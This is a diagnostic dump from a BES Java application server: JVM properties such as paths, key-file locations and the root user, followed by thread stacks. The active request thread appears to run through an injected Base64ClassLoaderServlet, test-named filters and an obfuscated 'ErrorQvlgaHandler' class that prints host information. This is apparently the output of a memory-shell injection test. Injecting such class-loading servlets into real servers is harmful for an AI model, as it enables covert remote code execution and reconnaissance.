persistence,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||||
|
com.bes.resource.ejb.leakDetect: false
|
||||||
|
bes.loader: bes-system
|
||||||
|
sun.arch.data.model: 64
|
||||||
|
java.vendor.url: https://adoptium.net/
|
||||||
|
sun.boot.library.path: /opt/java/openjdk/lib
|
||||||
|
com.bes.hostName: d7c39dda372c
|
||||||
|
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
||||||
|
jdk.debug: release
|
||||||
|
java.specification.vendor: Oracle Corporation
|
||||||
|
java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
|
||||||
|
java.version.date: 2026-04-21
|
||||||
|
java.home: /opt/java/openjdk
|
||||||
|
jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
|
||||||
|
javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
|
||||||
|
file.separator: /
|
||||||
|
javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
|
||||||
|
java.vm.compressedOopsMode: 32-bit
|
||||||
|
javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
|
||||||
|
line.separator:
|
||||||
|
|
||||||
|
java.vm.specification.vendor: Oracle Corporation
|
||||||
|
java.specification.name: Java Platform API Specification
|
||||||
|
com.bes.instanceRoot: /opt/bes
|
||||||
|
jdbc.drivers: org.apache.derby.jdbc.ClientDriver
|
||||||
|
package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
|
||||||
|
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||||
|
com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
|
||||||
|
java.runtime.version: 17.0.19+10
|
||||||
|
user.name: root
|
||||||
|
java.security.policy: /opt/bes/conf/security/server.policy
|
||||||
|
com.bes.javaRoot: /opt/java/openjdk
|
||||||
|
file.encoding: UTF-8
|
||||||
|
java.vendor.version: Temurin-17.0.19+10
|
||||||
|
derby.system.home: /opt/bes
|
||||||
|
java.io.tmpdir: /tmp
|
||||||
|
java.version: 17.0.19
|
||||||
|
java.vm.specification.name: Java Virtual Machine Specification
|
||||||
|
native.encoding: UTF-8
|
||||||
|
java.library.path: /opt/bes/lib
|
||||||
|
java.vendor: Eclipse Adoptium
|
||||||
|
ANTLR_USE_DIRECT_CLASS_LOADING: true
|
||||||
|
java.specification.maintenance.version: 1
|
||||||
|
java.rmi.server.randomIDs: true
|
||||||
|
xxx: xxx
|
||||||
|
sun.io.unicode.encoding: UnicodeLittle
|
||||||
|
com.bes.enterprise.embedder.source: ServerListener
|
||||||
|
bcs.loader: "${bes.home}/lib/bcs/*.jar"
|
||||||
|
hsqldb.reconfig_logging: false
|
||||||
|
bes.home: /opt/bes
|
||||||
|
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||||
|
javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
|
||||||
|
java.class.path: /opt/bes/patch/V11.0.0.3668.012.core.jar:/opt/bes/patch/V11.0.0.3668.009.core.jar:/opt/bes/patch/V11.0.0.3668.007.core.jar:/opt/bes/patch/V11.0.0.3668.005.core.jar:/opt/bes/patch/V11.0.0.3668.004.core.jar:/opt/bes/patch/V11.0.0.3668.001.core.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl.jar
|
||||||
|
jakarta.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
|
||||||
|
java.vm.vendor: Eclipse Adoptium
|
||||||
|
com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
|
||||||
|
bes.base: /opt/bes
|
||||||
|
user.timezone: Etc/UTC
|
||||||
|
com.bes.instanceName: server
|
||||||
|
java.vm.specification.version: 17
|
||||||
|
os.name: Linux
|
||||||
|
sun.java.launcher: SUN_STANDARD
|
||||||
|
user.country: US
|
||||||
|
sun.cpu.endian: little
|
||||||
|
com.bes.enterprise.deployments.classpath: false
|
||||||
|
user.home: /root
|
||||||
|
user.language: en
|
||||||
|
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||||
|
com.bes.verboseMode: true
|
||||||
|
com.bes.enterprise.deployments.classpath.filter.systemapps: false
|
||||||
|
java.awt.headless: true
|
||||||
|
package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
|
||||||
|
server.loader:
|
||||||
|
com.bes.enterprise.provider.default: com.bes.enterprise
|
||||||
|
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||||
|
java.net.preferIPv4Stack: true
|
||||||
|
path.separator: :
|
||||||
|
java.security.egd: file:/dev/./urandom
|
||||||
|
common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar"
|
||||||
|
os.version: 6.8.0-111-generic
|
||||||
|
java.runtime.name: OpenJDK Runtime Environment
|
||||||
|
org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
|
||||||
|
com.bes.resource.leakDetect: false
|
||||||
|
bes.version: 11.0.0
|
||||||
|
java.vm.name: OpenJDK 64-Bit Server VM
|
||||||
|
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||||
|
com.bes.installRoot: /opt/bes
|
||||||
|
com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy
|
||||||
|
user.dir: /opt/bes/conf
|
||||||
|
bval.in-container: true
|
||||||
|
os.arch: amd64
|
||||||
|
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||||
|
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||||
|
java.vm.info: mixed mode, sharing
|
||||||
|
java.vm.version: 17.0.19+10
|
||||||
|
java.class.version: 61.0
|
||||||
|
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
ThreadStacks:
|
||||||
|
"AppServer-utility-2" #73 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Reference Handler" #2 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
|
||||||
|
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-1" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"bes-deployment-scheduled-executor-thread." #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca77621
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3256970f
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241)
|
||||||
|
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||||
|
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
|
||||||
|
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||||
|
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
|
||||||
|
at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:519)
|
||||||
|
at app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:650)
|
||||||
|
at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:38)
|
||||||
|
|
||||||
|
"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@462d7091
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||||
|
|
||||||
|
"Common Lib Watcher" #19 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||||
|
at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:92)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"gjc-connection-creator-1" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f77b5a1
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque.awaitAllowCreate(NoticableLinkedBlockingDeque.java:52)
|
||||||
|
at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator.run(GenericObjectPool.java:293)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI TCP Accept-6600" #93 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760)
|
||||||
|
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:675)
|
||||||
|
at [email protected]/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641)
|
||||||
|
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:617)
|
||||||
|
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:574)
|
||||||
|
at [email protected]/java.net.ServerSocket.accept(ServerSocket.java:532)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-1" #72 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
|
||||||
|
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
|
||||||
|
at org.apache.logging.UKnKC.ErrorQvlgaHandler.toString(BasicInfoPrinter.java:26)
|
||||||
|
at [email protected]/java.lang.String.valueOf(String.java:4220)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||||
|
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:224)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||||
|
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||||
|
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||||
|
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109)
|
||||||
|
at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
|
||||||
|
at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
|
||||||
|
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:550)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:133)
|
||||||
|
at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95)
|
||||||
|
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:388)
|
||||||
|
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:473)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:950)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1955)
|
||||||
|
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-8" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI Reaper" #94 [WAITING] on java.lang.ref.ReferenceQueue$Lock@1e9eceee
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||||
|
at [email protected]/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI TCP Connection(1)-172.17.0.4" #96 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||||
|
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||||
|
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source)
|
||||||
|
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||||
|
